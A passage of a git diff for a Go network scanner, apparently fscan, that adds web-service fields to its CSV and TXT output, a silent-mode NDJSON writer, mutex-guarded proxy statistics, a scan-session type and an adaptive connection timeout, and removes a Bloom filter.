+ return "", 0, false + } + host := target[:idx] + var port int + if _, err := fmt.Sscanf(target[idx+1:], "%d", &port); err != nil { + return "", 0, false + } + return host, port, true +} diff --git a/common/output/writers.go b/common/output/writers.go index ee1bf63..d345b4a 100644 --- a/common/output/writers.go +++ b/common/output/writers.go @@ -13,13 +13,26 @@ import ( // escapeControlChars 转义控制字符 func escapeControlChars(s string) string { - replacer := strings.NewReplacer( - "\r\n", "\\r\\n", - "\n", "\\n", - "\r", "\\r", - "\t", "\\t", - ) - return replacer.Replace(s) + s = strings.ToValidUTF8(s, "?") + + var b strings.Builder + for _, r := range s { + switch r { + case '\n': + b.WriteString("\\n") + case '\r': + b.WriteString("\\r") + case '\t': + b.WriteString("\\t") + default: + if r < 0x20 || r == 0x7f { + fmt.Fprintf(&b, "\\x%02x", r) + continue + } + b.WriteRune(r) + } + } + return b.String() } // ============================================================================= @@ -183,13 +196,7 @@ func (w *TXTWriter) formatWebServiceLine(result *ScanResult) string { } } - protocol := "http" - service := w.getDetailStr(result, "service") - if service == "https" || strings.Contains(target, ":443") { - protocol = "https" - } - - url := fmt.Sprintf("%s://%s", protocol, target) + url := fmt.Sprintf("%s://%s", w.webProtocol(result, target), target) title := w.getDetailStr(result, "title") status := w.getDetail(result, "status") server := w.getDetailStr(result, "server") @@ -362,13 +369,7 @@ func (w *TXTWriter) writeWebServices() { } } - protocol := "http" - service := w.getDetailStr(result, "service") - if service == "https" || strings.Contains(target, ":443") { - protocol = "https" - } - - urls = append(urls, fmt.Sprintf("%s://%s", protocol, target)) + urls = append(urls, fmt.Sprintf("%s://%s", w.webProtocol(result, target), target)) } if len(urls) == 0 { @@ -397,6 +398,19 @@ func (w *TXTWriter) isWebService(result *ScanResult) bool { return service == "http" || service == "https" } +func (w *TXTWriter) webProtocol(result *ScanResult, target string) string { + protocol := strings.ToLower(w.getDetailStr(result, "protocol")) + if protocol == "http" || protocol == "https" { + return protocol + } + + service := strings.ToLower(w.getDetailStr(result, "service")) + if service == "https" || strings.Contains(target, ":443") { + return "https" + } + return "http" +} + // GetFormat 获取格式类型 func (w *TXTWriter) GetFormat() Format { return FormatTXT @@ -647,7 +661,7 @@ func (w *CSVWriter) Close() error { // 写入各分类 w.writeSection("# Hosts", []string{"Target"}, w.buffer.HostResults, w.formatHostRecord) w.writeSection("# Ports", []string{"Target", "Port", "Status"}, w.buffer.PortResults, w.formatPortRecord) - w.writeSection("# Services", []string{"Target", "Service", "Version", "Banner"}, w.buffer.ServiceResults, w.formatServiceRecord) + w.writeSection("# Services", []string{"Target", "Service", "Version", "Title", "Status", "Server", "Fingerprints", "Banner"}, w.buffer.ServiceResults, w.formatServiceRecord) w.writeSection("# Vulns", []string{"Target", "Type", "Details"}, w.buffer.VulnResults, w.formatVulnRecord) w.closed = true @@ -697,7 +711,7 @@ func (w *CSVWriter) formatPortRecord(result *ScanResult) []string { } func (w *CSVWriter) formatServiceRecord(result *ScanResult) []string { - service, version, banner := "", "", "" + service, version, title, status, server, fingerprints, banner := "", "", "", "", "", "", "" if result.Details != nil { if s, ok := result.Details["service"].(string); ok { service = s @@ -705,9 +719,22 @@ func (w *CSVWriter) formatServiceRecord(result *ScanResult) []string { if s, ok := result.Details["name"].(string); ok && service == "" { service = s } + if s, ok := result.Details["plugin"].(string); ok && service == "" { + service = s + } if v, ok := result.Details["version"].(string); ok { version = v } + if t, ok := result.Details["title"].(string); ok { + title = escapeControlChars(t) + } + if s, ok := result.Details["status"]; ok && s != nil && s != 0 { + status = fmt.Sprintf("%v", s) + } + if s, ok := result.Details["server"].(string); ok { + server = escapeControlChars(s) + } + fingerprints = formatFingerprints(result.Details["fingerprints"]) if b, ok := result.Details["banner"].(string); ok { banner = escapeControlChars(b) if len(banner) > 100 { @@ -721,7 +748,24 @@ func (w *CSVWriter) formatServiceRecord(result *ScanResult) []string { target = fmt.Sprintf("%s:%v", target, p) } } - return []string{target, service, version, banner} + return []string{target, service, version, title, status, server, fingerprints, banner} +} + +func formatFingerprints(value interface{}) string { + switch v := value.(type) { + case []string: + return strings.Join(v, ",") + case []interface{}: + parts := make([]string, 0, len(v)) + for _, item := range v { + if s, ok := item.(string); ok && s != "" { + parts = append(parts, s) + } + } + return strings.Join(parts, ",") + default: + return "" + } } func (w *CSVWriter) formatVulnRecord(result *ScanResult) []string { diff --git a/common/output/writers_test.go b/common/output/writers_test.go index d16fb2a..fd590a7 100644 --- a/common/output/writers_test.go +++ b/common/output/writers_test.go @@ -1139,7 +1139,7 @@ func TestCSVWriter_ErrorHandling(t *testing.T) { // TestCSVWriter_DetailsFormatting 测试CSV的Details字段格式化 // // CSVWriter 对不同类型有不同的格式: -// - Service类型:Target, Service, Version, Banner +// - Service类型:Target, Service, Version, Title, Status, Server, Fingerprints, Banner func TestCSVWriter_DetailsFormatting(t *testing.T) { dir := createTestDir(t) filePath := filepath.Join(dir, "test.csv") @@ -1188,6 +1188,86 @@ func TestCSVWriter_DetailsFormatting(t *testing.T) { t.Logf("✓ CSV Details格式化测试通过") } +func TestCSVWriter_WebServiceFields(t *testing.T) { + dir := createTestDir(t) + filePath := filepath.Join(dir, "test.csv") + + writer, _ := NewCSVWriter(filePath) + defer func() { _ = writer.Close() }() + + _ = writer.WriteHeader() + result := createTestResult( + TypeService, + "192.168.1.1:80", + "web", + map[string]interface{}{ + "plugin": "webtitle", + "is_web": true, + "port": 80, + "title": "Home", + "status": 200, + "server": "nginx", + "fingerprints": []string{"nginx", "php"}, + "banner": "HTTP/1.1 200 OK\x00\nServer: nginx", + }, + ) + _ = writer.Write(result) + writer.Close() + + content := readFileContent(t, filePath) + for _, want := range []string{ + "Target,Service,Version,Title,Status,Server,Fingerprints,Banner", + "webtitle", + "Home", + "200", + "nginx", + "nginx,php", + "\\x00\\nServer: nginx", + } { + if !strings.Contains(content, want) { + t.Errorf("CSV文件缺少 %q,内容:\n%s", want, content) + } + } +} + +func TestTXTWriter_WebServiceProtocolFromDetails(t *testing.T) { + dir := createTestDir(t) + filePath := filepath.Join(dir, "test_web_protocol.txt") + + writer, err := NewTXTWriter(filePath) + if err != nil { + t.Fatalf("创建TXTWriter失败: %v", err) + } + + result := createTestResult( + TypeService, + "192.168.1.1:8443", + "web", + map[string]interface{}{ + "plugin": "webtitle", + "is_web": true, + "port": 8443, + "protocol": "https", + "title": "Home", + "status": 200, + }, + ) + if err := writer.Write(result); err != nil { + t.Fatalf("Write()失败: %v", err) + } + if err := writer.Close(); err != nil { + t.Fatalf("Close()失败: %v", err) + } + + content := readFileContent(t, filePath) + if !strings.Contains(content, "https://192.168.1.1:8443") { + t.Fatalf("TXT输出缺少HTTPS URL,内容:\n%s", content) + } + if strings.Contains(content, "http://192.168.1.1:8443") { + t.Fatalf("TXT输出不应把HTTPS目标降级为HTTP,内容:\n%s", content) + } +} + // TestJSONWriter_FlushAndFormat 测试JSON的Flush和GetFormat func TestJSONWriter_FlushAndFormat(t *testing.T) { dir := createTestDir(t) diff --git a/common/output_api.go b/common/output_api.go index e7ff4c7..a523904 100644 --- a/common/output_api.go +++ b/common/output_api.go @@ -15,10 +15,18 @@ import ( // ResultOutput 全局输出管理器 var ResultOutput *output.Manager +// StdoutWriter silent模式下的NDJSON stdout写入器 +var StdoutWriter *output.StdoutNDJSONWriter + // InitOutput 初始化输出系统 func InitOutput() error { fv := GetFlagVars() + // silent模式:初始化NDJSON stdout写入器(独立于文件输出) + if fv.Silent { + StdoutWriter = output.NewStdoutNDJSONWriter() + } + // 用户通过-no flag禁用保存时,跳过文件初始化避免不必要的资源开销 if fv.DisableSave { return nil @@ -59,6 +67,9 @@ func InitOutput() error { // CloseOutput 关闭输出系统 func CloseOutput() error { + if StdoutWriter != nil { + _ = StdoutWriter.Close() + } if ResultOutput == nil { return nil } @@ -80,8 +91,13 @@ func SaveResult(result *output.ScanResult) error { "details": result.Details, }) + // silent模式:NDJSON实时输出到stdout + if StdoutWriter != nil { + _ = StdoutWriter.WriteResult(result) + } + // 用户禁用保存或输出未初始化时,跳过文件保存 - if GetFlagVars().DisableSave || ResultOutput == nil { + if GetGlobalConfig().Output.DisableSave || ResultOutput == nil { return nil } return ResultOutput.SaveResult(result) diff --git a/common/progress_manager.go b/common/progress_manager.go index c1266b6..a940805 100644 --- a/common/progress_manager.go +++ b/common/progress_manager.go @@ -48,6 +48,10 @@ type ProgressManager struct { // 进度条更新控制(减少 Windows 终端的重复输出) lastRenderedPercent int + + // 引用,避免读全局 + state *State + noColor bool } // ============================================================================= @@ -102,11 +106,13 @@ func GetProgressManager() *ProgressManager { // InitProgress 初始化进度条 func (pm *ProgressManager) InitProgress(total int64, description string) { - fv := GetFlagVars() - if fv.DisableProgress || fv.Silent { + cfg := GetGlobalConfig() + if cfg.Output.DisableProgress || cfg.Output.Silent { pm.enabled = false return } + pm.state = GetGlobalState() + pm.noColor = cfg.Output.NoColor pm.mu.Lock() defer pm.mu.Unlock() @@ -137,16 +143,24 @@ func (pm *ProgressManager) UpdateProgress(increment int64) { return } - pm.mu.Lock() - defer pm.mu.Unlock() - - pm.current += increment - if pm.current > pm.total { - pm.current = pm.total + // 原子累加,避免高并发下的锁竞争 + newCurrent := atomic.AddInt64(&pm.current, increment) + if newCurrent > pm.total { + atomic.StoreInt64(&pm.current, pm.total) } - // 更新活跃时间 - pm.lastActivity = time.Now() + // 节流渲染:距上次渲染不足 50ms 则跳过 + now := time.Now() + pm.mu.RLock() + lastAct := pm.lastActivity + pm.mu.RUnlock() + if now.Sub(lastAct) < 50*time.Millisecond { + return + } + + pm.mu.Lock() + pm.lastActivity = now + pm.mu.Unlock() pm.renderProgress() } @@ -164,7 +178,7 @@ func (pm *ProgressManager) FinishProgress() { pm.mu.Lock() defer pm.mu.Unlock() - pm.current = pm.total + atomic.StoreInt64(&pm.current, pm.total) pm.renderProgress() // 停止活跃指示器 @@ -214,11 +228,12 @@ func (pm *ProgressManager) generateProgressBar() string { return base } - percentage := float64(pm.current) / float64(pm.total) * 100 + percentage := float64(atomic.LoadInt64(&pm.current)) / float64(pm.total) * 100 elapsed := time.Since(pm.startTime) + current := atomic.LoadInt64(&pm.current) // 计算速度 - speed := float64(pm.current) / elapsed.Seconds() + speed := float64(current) / elapsed.Seconds() speedStr := "" if speed > 0 { speedStr = fmt.Sprintf(" %.0f/s", speed) @@ -226,8 +241,8 @@ func (pm *ProgressManager) generateProgressBar() string { // 计算预估剩余时间 var eta string - if pm.current > 0 && pm.current < pm.total { - totalTime := elapsed * time.Duration(pm.total) / time.Duration(pm.current) + if current > 0 && current < pm.total { + totalTime := elapsed * time.Duration(pm.total) / time.Duration(current) remaining := totalTime - elapsed if remaining > 0 { eta = fmt.Sprintf(" ETA:%s", formatDuration(remaining)) @@ -239,7 +254,7 @@ func (pm *ProgressManager) generateProgressBar() string { // 计算固定部分的宽度 fixedPart := fmt.Sprintf("%s %s %5.1f%% [] (%d/%d)%s%s %s", - pm.description, spinner, percentage, pm.current, pm.total, speedStr, eta, packetInfo) + pm.description, spinner, percentage, current, pm.total, speedStr, eta, packetInfo) fixedWidth := displayWidth(fixedPart) // 计算进度条槽位可用宽度(预留2字符余量) @@ -266,7 +281,7 @@ func (pm *ProgressManager) generateProgressBar() string { // 构建最终进度条 result := fmt.Sprintf("%s %s %5.1f%% %s (%d/%d)%s%s", - pm.description, spinner, percentage, bar, pm.current, pm.total, speedStr, eta) + pm.description, spinner, percentage, bar, current, pm.total, speedStr, eta) if packetInfo != "" { result += " " + packetInfo @@ -277,13 +292,16 @@ func (pm *ProgressManager) generateProgressBar() string { // getPacketInfo 获取发包统计信息(简化版) func (pm *ProgressManager) getPacketInfo() string { - packetCount := GetGlobalState().GetPacketCount() + if pm.state == nil { + return "" + } + packetCount := pm.state.GetPacketCount() if packetCount == 0 { return "" } - tcpSuccess := GetGlobalState().GetTCPSuccessPacketCount() - tcpFailed := GetGlobalState().GetTCPFailedPacketCount() + tcpSuccess := pm.state.GetTCPSuccessPacketCount() + tcpFailed := pm.state.GetTCPFailedPacketCount() // 简化格式:TCP:成功/失败 if tcpSuccess > 0 || tcpFailed > 0 { @@ -301,7 +319,7 @@ func (pm *ProgressManager) showCompletionInfo() { fmt.Print("\n") completionMsg := i18n.GetText("progress_scan_completed") - if GetFlagVars().NoColor { + if pm.noColor { fmt.Printf("[完成] %s %d/%d (耗时: %s)\n", completionMsg, pm.total, pm.total, formatDuration(elapsed)) } else { @@ -461,7 +479,7 @@ func (pm *ProgressManager) GetPercent() float64 { if !pm.isActive || pm.total == 0 { return 0 } - return float64(pm.current) / float64(pm.total) * 100 + return float64(atomic.LoadInt64(&pm.current)) / float64(pm.total) * 100 } // ============================================================================= @@ -470,6 +488,10 @@ func (pm *ProgressManager) GetPercent() float64 { // LogWithProgress 在进度条活跃时协调日志输出 func LogWithProgress(message string) { + if cfg := GetGlobalConfig(); cfg != nil && cfg.Output.Silent { + return + } + pm := GetProgressManager() if !pm.IsActive() { // 如果进度条不活跃,直接输出 @@ -499,7 +521,7 @@ func (pm *ProgressManager) renderProgressUnsafe() { // 计算当前百分比(避免除零) currentPercent := 0 if pm.total > 0 { - currentPercent = int((pm.current * 100) / pm.total) + currentPercent = int((atomic.LoadInt64(&pm.current) * 100) / pm.total) } // 只在百分比变化时更新,减少不必要的渲染 @@ -532,7 +554,7 @@ func (pm *ProgressManager) renderProgressUnsafe() { fmt.Print(clearStr) // 输出进度条(带颜色,如果启用) - if GetFlagVars().NoColor { + if pm.noColor { fmt.Print(progressBar) } else { fmt.Printf("%s%s%s", AnsiCyan, progressBar, AnsiReset) diff --git a/common/proxy/detector.go b/common/proxy/detector.go index e296f44..544e98c 100644 --- a/common/proxy/detector.go +++ b/common/proxy/detector.go @@ -19,6 +19,9 @@ var ( // proxyProbed 标记代理是否已经探测过(避免重复探测) proxyProbed atomic.Bool + + // currentProxyType 当前代理类型 + currentProxyType atomic.Int32 ) // SetProxyEnabled 设置代理启用状态 @@ -61,6 +64,11 @@ func IsProxyProbed() bool { return proxyProbed.Load() } +// IsSOCKS5Proxy 检查当前代理是否为SOCKS5类型 +func IsSOCKS5Proxy() bool { + return proxyEnabled.Load() && ProxyType(currentProxyType.Load()) == ProxyTypeSOCKS5 +} + // AutoConfigureProxy 自动配置代理相关行为 // 根据代理类型和状态自动调整扫描策略 func AutoConfigureProxy(config *ProxyConfig) { @@ -74,6 +82,7 @@ func AutoConfigureProxy(config *ProxyConfig) { // 启用代理标记 SetProxyEnabled(true) + currentProxyType.Store(int32(config.Type)) // SOCKS5代理默认假设非标准(后续由探测函数验证) if config.Type == ProxyTypeSOCKS5 { diff --git a/common/proxy/httpdialer.go b/common/proxy/httpdialer.go index 3e34765..430a2d6 100644 --- a/common/proxy/httpdialer.go +++ b/common/proxy/httpdialer.go @@ -30,7 +30,9 @@ func (h *httpDialer) DialContext(ctx context.Context, network, address string) ( proxyConn, err := h.baseDial.DialContext(ctx, NetworkTCP, h.config.Address) if err != nil { atomic.AddInt64(&h.stats.FailedConnections, 1) + h.stats.mu.Lock() h.stats.LastError = err.Error() + h.stats.mu.Unlock() return nil, NewProxyError(ErrTypeConnection, ErrMsgHTTPConnFailed, ErrCodeHTTPConnFailed, err) } @@ -38,12 +40,16 @@ func (h *httpDialer) DialContext(ctx context.Context, network, address string) ( if err := h.sendConnectRequest(proxyConn, address); err != nil { _ = proxyConn.Close() // 错误处理路径,Close错误可忽略 atomic.AddInt64(&h.stats.FailedConnections, 1) + h.stats.mu.Lock() h.stats.LastError = err.Error() + h.stats.mu.Unlock() return nil, err } duration := time.Since(start) + h.stats.mu.Lock() h.stats.LastConnectTime = start + h.stats.mu.Unlock() atomic.AddInt64(&h.stats.ActiveConnections, 1) h.updateAverageConnectTime(duration) @@ -108,7 +114,8 @@ func (h *httpDialer) sendConnectRequest(conn net.Conn, address string) error { // updateAverageConnectTime 更新平均连接时间 func (h *httpDialer) updateAverageConnectTime(duration time.Duration) { - // 简单的移动平均 + h.stats.mu.Lock() + defer h.stats.mu.Unlock() if h.stats.AverageConnectTime == 0 { h.stats.AverageConnectTime = duration } else { diff --git a/common/proxy/manager.go b/common/proxy/manager.go index be69619..5e1c24a 100644 --- a/common/proxy/manager.go +++ b/common/proxy/manager.go @@ -128,9 +128,19 @@ func (m *manager) Stats() *ProxyStats { m.mu.RLock() defer m.mu.RUnlock() - // 返回副本以避免并发问题 - statsCopy := *m.stats - return &statsCopy + m.stats.mu.Lock() + defer m.stats.mu.Unlock() + + return &ProxyStats{ + TotalConnections: atomic.LoadInt64(&m.stats.TotalConnections), + ActiveConnections: atomic.LoadInt64(&m.stats.ActiveConnections), + FailedConnections: atomic.LoadInt64(&m.stats.FailedConnections), + AverageConnectTime: m.stats.AverageConnectTime, + LastConnectTime: m.stats.LastConnectTime, + LastError: m.stats.LastError, + ProxyType: m.stats.ProxyType, + ProxyAddress: m.stats.ProxyAddress, + } } // createDirectDialer 创建直连拨号器 @@ -264,11 +274,16 @@ func (d *directDialer) DialContext(ctx context.Context, network, address string) conn, err := dialer.DialContext(ctx, network, address) duration := time.Since(start) + + d.stats.mu.Lock() d.stats.LastConnectTime = start + d.stats.mu.Unlock() if err != nil { atomic.AddInt64(&d.stats.FailedConnections, 1) + d.stats.mu.Lock() d.stats.LastError = err.Error() + d.stats.mu.Unlock() return nil, NewProxyError(ErrTypeConnection, ErrMsgDirectConnFailed, ErrCodeDirectConnFailed, err) } @@ -323,15 +338,22 @@ func (s *socks5Dialer) DialContext(ctx context.Context, network, address string) select { case <-dialCtx.Done(): atomic.AddInt64(&s.stats.FailedConnections, 1) + s.stats.mu.Lock() s.stats.LastError = dialCtx.Err().Error() + s.stats.mu.Unlock() return nil, NewProxyError(ErrTypeTimeout, ErrMsgSOCKS5ConnTimeout, ErrCodeSOCKS5ConnTimeout, dialCtx.Err()) case result := <-connChan: duration := time.Since(start) + + s.stats.mu.Lock() s.stats.LastConnectTime = start + s.stats.mu.Unlock() if result.err != nil { atomic.AddInt64(&s.stats.FailedConnections, 1) + s.stats.mu.Lock() s.stats.LastError = result.err.Error() + s.stats.mu.Unlock() return nil, NewProxyError(ErrTypeConnection, ErrMsgSOCKS5ConnFailed, ErrCodeSOCKS5ConnFailed, result.err) } @@ -347,7 +369,8 @@ func (s *socks5Dialer) DialContext(ctx context.Context, network, address string) // updateAverageConnectTime 更新平均连接时间 func (d *directDialer) updateAverageConnectTime(duration time.Duration) { - // 简单的移动平均 + d.stats.mu.Lock() + defer d.stats.mu.Unlock() if d.stats.AverageConnectTime == 0 { d.stats.AverageConnectTime = duration } else { @@ -356,7 +379,8 @@ func (d *directDialer) updateAverageConnectTime(duration time.Duration) { } func (s *socks5Dialer) updateAverageConnectTime(duration time.Duration) { - // 简单的移动平均 + s.stats.mu.Lock() + defer s.stats.mu.Unlock() if s.stats.AverageConnectTime == 0 { s.stats.AverageConnectTime = duration } else { diff --git a/common/proxy/tlsdialer.go b/common/proxy/tlsdialer.go index 2d09244..3af4292 100644 --- a/common/proxy/tlsdialer.go +++ b/common/proxy/tlsdialer.go @@ -50,7 +50,9 @@ func (t *tlsDialerWrapper) DialTLSContext(ctx context.Context, network, address if err := tlsConn.Handshake(); err != nil { _ = tcpConn.Close() // TLS握手失败,Close错误可忽略 atomic.AddInt64(&t.stats.FailedConnections, 1) + t.stats.mu.Lock() t.stats.LastError = err.Error() + t.stats.mu.Unlock() return nil, NewProxyError(ErrTypeConnection, ErrMsgTLSHandshakeFailed, ErrCodeTLSHandshakeFailed, err) } @@ -71,7 +73,8 @@ func (t *tlsDialerWrapper) DialTLSContext(ctx context.Context, network, address // updateAverageConnectTime 更新平均连接时间 func (t *tlsDialerWrapper) updateAverageConnectTime(duration time.Duration) { - // 简单的移动平均 + t.stats.mu.Lock() + defer t.stats.mu.Unlock() if t.stats.AverageConnectTime == 0 { t.stats.AverageConnectTime = duration } else { diff --git a/common/proxy/types.go b/common/proxy/types.go index 6614129..adb8c50 100644 --- a/common/proxy/types.go +++ b/common/proxy/types.go @@ -4,6 +4,7 @@ import ( "context" "crypto/tls" "net" + "sync" "time" ) @@ -95,9 +96,10 @@ type ProxyManager interface { // //nolint:revive // 保持与现有代码的向后兼容性 type ProxyStats struct { - TotalConnections int64 `json:"total_connections"` - ActiveConnections int64 `json:"active_connections"` - FailedConnections int64 `json:"failed_connections"` + TotalConnections int64 `json:"total_connections"` + ActiveConnections int64 `json:"active_connections"` + FailedConnections int64 `json:"failed_connections"` + mu sync.Mutex `json:"-"` AverageConnectTime time.Duration `json:"average_connect_time"` LastConnectTime time.Time `json:"last_connect_time"` LastError string `json:"last_error,omitempty"` diff --git a/common/session.go b/common/session.go new file mode 100644 index 0000000..18e0328 --- /dev/null +++ b/common/session.go @@ -0,0 +1,106 @@ +package common + +import ( + "context" + "fmt" + "net" + "strings" + "sync" + "time" + + "github.com/shadow1ng/fscan/common/proxy" +) + +// ScanSession 封装单次扫描的全部上下文 +// 一次扫描一个 session,并发扫描各自独立 +type ScanSession struct { + Config *Config // 不可变,创建后只读 + State *State // 可变,原子操作,每会话独立 + Params *FlagVars // 原始参数,只读 + + // 每会话 dialer(懒初始化,取决于代理配置) + dialerOnce sync.Once + dialer proxy.Dialer + dialerErr error +} + +// NewScanSession 从已构建的 Config、State 和 FlagVars 创建会话 +func NewScanSession(config *Config, state *State, params *FlagVars) *ScanSession { + return &ScanSession{ + Config: config, + State: state, + Params: params, + } +} + +// DialTCP 创建 TCP 连接,内含限速检查、代理、计数 +func (s *ScanSession) DialTCP(ctx context.Context, network, address string, timeout time.Duration) (net.Conn, error) { + // 检查发包限制 + if ok, err := CanSendPacketWith(s.Config, s.State); !ok { + LogError(fmt.Sprintf("TCP连接 %s 受限: %s", address, err.Error())) + return nil, fmt.Errorf("发包受限: %s", err.Error()) + } + + // 获取 dialer + dialer, err := s.getDialer() + if err != nil { + LogError(fmt.Sprintf("获取代理拨号器失败: %v", err)) + s.State.IncrementTCPFailedPacketCount() + return nil, err + } + + conn, err := dialer.DialContext(ctx, network, address) + if err != nil { + s.State.IncrementTCPFailedPacketCount() + LogDebug(fmt.Sprintf("连接 %s 失败: %v", address, err)) + return nil, err + } + + // SO_LINGER=0: 连接关闭时立即发送 RST,避免 TIME_WAIT 堆积 + if tc, ok := conn.(*net.TCPConn); ok { + _ = tc.SetLinger(0) + } + + s.State.IncrementTCPSuccessPacketCount() + return conn, nil +} + +func (s *ScanSession) getDialer() (proxy.Dialer, error) { + s.dialerOnce.Do(func() { + cfg := s.createProxyConfig() + manager := proxy.NewProxyManager(cfg) + s.dialer, s.dialerErr = manager.GetDialer() + }) + return s.dialer, s.dialerErr +} + +func (s *ScanSession) createProxyConfig() *proxy.ProxyConfig { + cfg := proxy.DefaultProxyConfig() + cfg.Timeout = s.Config.Timeout + cfg.LocalAddr = s.Config.Network.Iface + + // 优先 SOCKS5 + if s.Config.Network.Socks5Proxy != "" { + cfg.Type = proxy.ProxyTypeSOCKS5 + socks5URL := s.Config.Network.Socks5Proxy + if !strings.HasPrefix(socks5URL, "socks5://") { + socks5URL = "socks5://" + socks5URL + } + cfg.Address, cfg.Username, cfg.Password = parseProxyURL(socks5URL, s.Config.Network.Socks5Proxy) + return cfg + } + + // 其次 HTTP + if s.Config.Network.HTTPProxy != "" { + if strings.HasPrefix(s.Config.Network.HTTPProxy, "https://") { + cfg.Type = proxy.ProxyTypeHTTPS + } else { + cfg.Type = proxy.ProxyTypeHTTP + } + cfg.Address, cfg.Username, cfg.Password = parseProxyURL(s.Config.Network.HTTPProxy, s.Config.Network.HTTPProxy) + return cfg + } + + cfg.Type = proxy.ProxyTypeNone + return cfg +} diff --git a/core/adaptive_timeout.go b/core/adaptive_timeout.go new file mode 100644 index 0000000..fb05660 --- /dev/null +++ b/core/adaptive_timeout.go @@ -0,0 +1,92 @@ +package core + +import ( + "math" + "sync" + "time" +) + +// AdaptiveTimeout 基于 RTT 采样的自适应超时计算器 +// 算法:timeout = mean(RTT) + 4 * stddev(RTT),clamp 到 [min, max] +// 冷启动阶段(样本不足)返回用户配置的固定超时 +type AdaptiveTimeout struct { + mu sync.Mutex + samples []float64 // 环形缓冲区,单位 ms + pos int // 写入位置 + count int // 已采集总数 + size int // 缓冲区容量 + minTO time.Duration + maxTO time.Duration + warmup int // 冷启动所需最小样本数 + cachedTO time.Duration + dirty bool +} + +// NewAdaptiveTimeout 创建自适应超时计算器 +// maxTimeout: 用户配置的超时上限(即原始固定超时) +func NewAdaptiveTimeout(maxTimeout time.Duration) *AdaptiveTimeout { + return &AdaptiveTimeout{ + samples: make([]float64, 64), + size: 64, + minTO: 100 * time.Millisecond, + maxTO: maxTimeout, + warmup: 10, + } +} + +// Record 记录一次成功连接的 RTT +func (a *AdaptiveTimeout) Record(rtt time.Duration) { + a.mu.Lock() + a.samples[a.pos%a.size] = float64(rtt.Milliseconds()) + a.pos++ + a.count++ + a.dirty = true + a.mu.Unlock() +} + +// Timeout 获取当前推荐超时值 +// 样本不足时返回 maxTO(冷启动) +func (a *AdaptiveTimeout) Timeout() time.Duration { + a.mu.Lock() + defer a.mu.Unlock() + + if a.count < a.warmup { + return a.maxTO + } + + if !a.dirty { + return a.cachedTO + } + + n := a.size + if a.count < a.size { + n = a.count + } + + var sum float64 + for i := 0; i < n; i++ { + sum += a.samples[i] + } + mean := sum / float64(n) + + var variance float64 + for i := 0; i < n; i++ { + d := a.samples[i] - mean + variance += d * d + } + stddev := math.Sqrt(variance / float64(n)) + + ms := mean + 4*stddev + to := time.Duration(ms) * time.Millisecond + + if to < a.minTO { + to = a.minTO + } + if to > a.maxTO { + to = a.maxTO + } + + a.cachedTO = to + a.dirty = false + return to +} diff --git a/core/alive_scanner.go b/core/alive_scanner.go index a5faa24..a8a66ff 100644 --- a/core/alive_scanner.go +++ b/core/alive_scanner.go @@ -1,6 +1,7 @@ package core import ( + "context" "fmt" "sync" "time" @@ -53,27 +54,24 @@ func (s *AliveScanStrategy) Description() string { } // Execute 执行存活探测扫描策略 -func (s *AliveScanStrategy) Execute(config *common.Config, state *common.State, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) { +func (s *AliveScanStrategy) Execute(ctx context.Context, session *common.ScanSession, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) { // 验证扫描目标(需要同时检查 -h 和 -hf 参数) - fv := common.GetFlagVars() - if info.Host == "" && fv.HostsFile == "" { + if info.Host == "" && session.Params.HostsFile == "" { common.LogError(i18n.GetText("parse_error_target_empty")) return } - // 执行存活探测 - s.performAliveScan(info, config, state) + s.performAliveScan(ctx, info, session) // 输出统计信息 s.outputStats() } // performAliveScan 执行存活探测 -func (s *AliveScanStrategy) performAliveScan(info common.HostInfo, config *common.Config, state *common.State) { +func (s *AliveScanStrategy) performAliveScan(ctx context.Context, info common.HostInfo, session *common.ScanSession) { // 解析目标主机 - fv := common.GetFlagVars() - hosts, err := parsers.ParseIP(info.Host, fv.HostsFile, fv.ExcludeHosts) + hosts, err := parsers.ParseIP(info.Host, session.Params.HostsFile, session.Params.ExcludeHosts) if err != nil { common.LogError(i18n.Tr("parse_target_failed", err)) return @@ -91,7 +89,7 @@ func (s *AliveScanStrategy) performAliveScan(info common.HostInfo, config *commo // 执行存活检测 - aliveList := CheckLive(hosts, false, config, state) // 使用ICMP探测 + aliveList := CheckLive(ctx, hosts, false, session) // 使用ICMP探测 // 更新统计信息 s.stats.AliveHosts = len(aliveList) diff --git a/core/bloom_filter.go b/core/bloom_filter.go deleted file mode 100644 index 296b25d..0000000 --- a/core/bloom_filter.go +++ /dev/null @@ -1,66 +0,0 @@ -package core - -import ( - "hash/fnv" -) - -// BloomFilter 布隆过滤器,用于ICMP包去重 -type BloomFilter struct { - bits []bool - size uint32 - k uint32 // hash函数数量 -} - -// NewBloomFilter 创建布隆过滤器 -// size: 预期元素数量 -// falsePositiveRate: 期望的误判率(通常0.01即1%) -func NewBloomFilter(size int, falsePositiveRate float64) *BloomFilter { - // 计算最优bit数组大小: m = -n*ln(p) / (ln(2)^2) - // 简化计算:m ≈ n * 10 for p=0.01 - m := uint32(size * 10) - if m < 1024 { - m = 1024 // 最小1KB - } - - // 计算最优hash函数数量: k = (m/n) * ln(2) - // 简化:k ≈ 7 for p=0.01 - k := uint32(7) - - return &BloomFilter{ - bits: make([]bool, m), - size: m, - k: k, - } -} - -// Add 添加元素到过滤器 -func (bf *BloomFilter) Add(data string) { - for i := uint32(0); i < bf.k; i++ { - pos := bf.hash(data, i) - bf.bits[pos] = true - } -} - -// Contains 检查元素是否可能存在 -// 返回true:可能存在(有误判可能) -// 返回false:一定不存在 -func (bf *BloomFilter) Contains(data string) bool { - for i := uint32(0); i < bf.k; i++ { - pos := bf.hash(data, i) - if !bf.bits[pos] { - return false - } - } - return true -} - -// hash 计算hash值 -func (bf *BloomFilter) hash(data string, seed uint32) uint32 { - h := fnv.New32a() - _, _ = h.Write([]byte(data)) - // 添加seed实现多个hash函数 - for i := uint32(0); i < seed; i++ { - _, _ = h.Write([]byte{byte(i)}) - } - return h.Sum32() % bf.size -} diff --git a/core/bloom_filter_test.go b/core/bloom_filter_test.go deleted file mode 100644 index fa83305..0000000 --- a/core/bloom_filter_test.go +++ /dev/null @@ -1,168 +0,0 @@ -package core - -import ( - "fmt" - "testing" -) - -/* -bloom_filter_test.go - BloomFilter 高价值测试 - -测试重点: -1. 基本正确性 - Add后Contains返回true,未添加的返回false -2. 误判率验证 - 实际误判率应接近理论值(1%) -3. 大规模数据 - 模拟真实ICMP去重场景 - -不测试: -- 内部哈希实现细节 -- 精确的数学公式验证 -*/ - -// TestBloomFilter_BasicCorrectness 基本正确性测试 -func TestBloomFilter_BasicCorrectness(t *testing.T) { - bf := NewBloomFilter(1000, 0.01) - - // 